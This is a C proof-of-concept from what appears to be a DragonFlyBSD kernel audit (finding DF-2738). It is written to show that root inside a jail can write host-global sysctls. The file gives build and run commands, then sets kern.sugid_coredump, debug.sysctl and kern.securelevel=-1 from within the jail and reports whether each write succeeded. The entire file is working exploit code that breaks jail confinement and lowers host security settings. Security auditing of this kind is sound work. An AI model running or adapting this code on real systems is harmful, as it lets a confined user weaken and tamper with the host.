DragonFlyBSD Kernel Audit
DF-2738 / jailwrite.c
← back to finding ↓ download raw
/*
 * DF-2738 PoC: jailed uid-0 writes host-global sysctls.
 * Build:  cc -static -o /tmp/jt/jailwrite jailwrite.c
 * Run (as real root, creates the jail then execs us inside):
 *   jail /tmp/jt jtest 127.0.0.1 /jailwrite
 * Expected if the confinement gap is real: writes to host-global
 * kern.sugid_coredump / kern.maxfiles / debug.sysctl succeed (ret 0)
 * from *inside* the jail; host observes the mutation.
 */
#include <sys/types.h>
#include <sys/sysctl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

static int wr_int(const char *name, int *v)
{
	return sysctlbyname(name, NULL, NULL, v, sizeof(*v));
}

int main(void)
{
	int v, r;
	size_t l;

	printf("jailwrite: uid=%d euid=%d\n", getuid(), geteuid());

	/* 1. read a host-global knob (known jail read visibility) */
	l = sizeof(v);
	r = sysctlbyname("kern.sugid_coredump", &v, &l, NULL, 0);
	printf("read  kern.sugid_coredump     -> r=%d v=%d\n", r, v);

	/* 2. WRITE host-global kern.sugid_coredump = 1 */
	v = 1;
	r = wr_int("kern.sugid_coredump", &v);
	printf("write kern.sugid_coredump=1   -> r=%d %s\n", r,
	       r ? "DENIED" : "WROTE-HOST-GLOBAL");

	/* 3. WRITE host-global kern.maxfiles (same value, harmless) */
	l = sizeof(v);
	sysctlbyname("kern.maxfiles", &v, &l, NULL, 0);
	r = wr_int("kern.maxfiles", &v);
	printf("write kern.maxfiles=%d     -> r=%d %s\n", v, r,
	       r ? "DENIED" : "WROTE-HOST-GLOBAL");

	/* 4. WRITE debug.sysctl (host-global debug knob) */
	v = 0;
	r = wr_int("debug.sysctl", &v);
	printf("write debug.sysctl=0          -> r=%d %s\n", r,
	       r ? "DENIED" : "WROTE-HOST-GLOBAL");

	/* 5. control: write to a NON-flagged secure node (securelevel<0 ok,
	 *    but CTLFLAG_SECURE && securelevel>0 check applies) - expect ok
	 *    at securelevel -1; shows reachability of even SECURE-flagged
	 *    nodes from a jail when host securelevel is 0/-1. */
	v = -1;
	r = wr_int("kern.securelevel", &v);
	printf("write kern.securelevel=-1     -> r=%d %s\n", r,
	       r ? "DENIED" : "WROTE-HOST-GLOBAL");

	printf("JAILWRITE-DONE\n");
	return 0;
}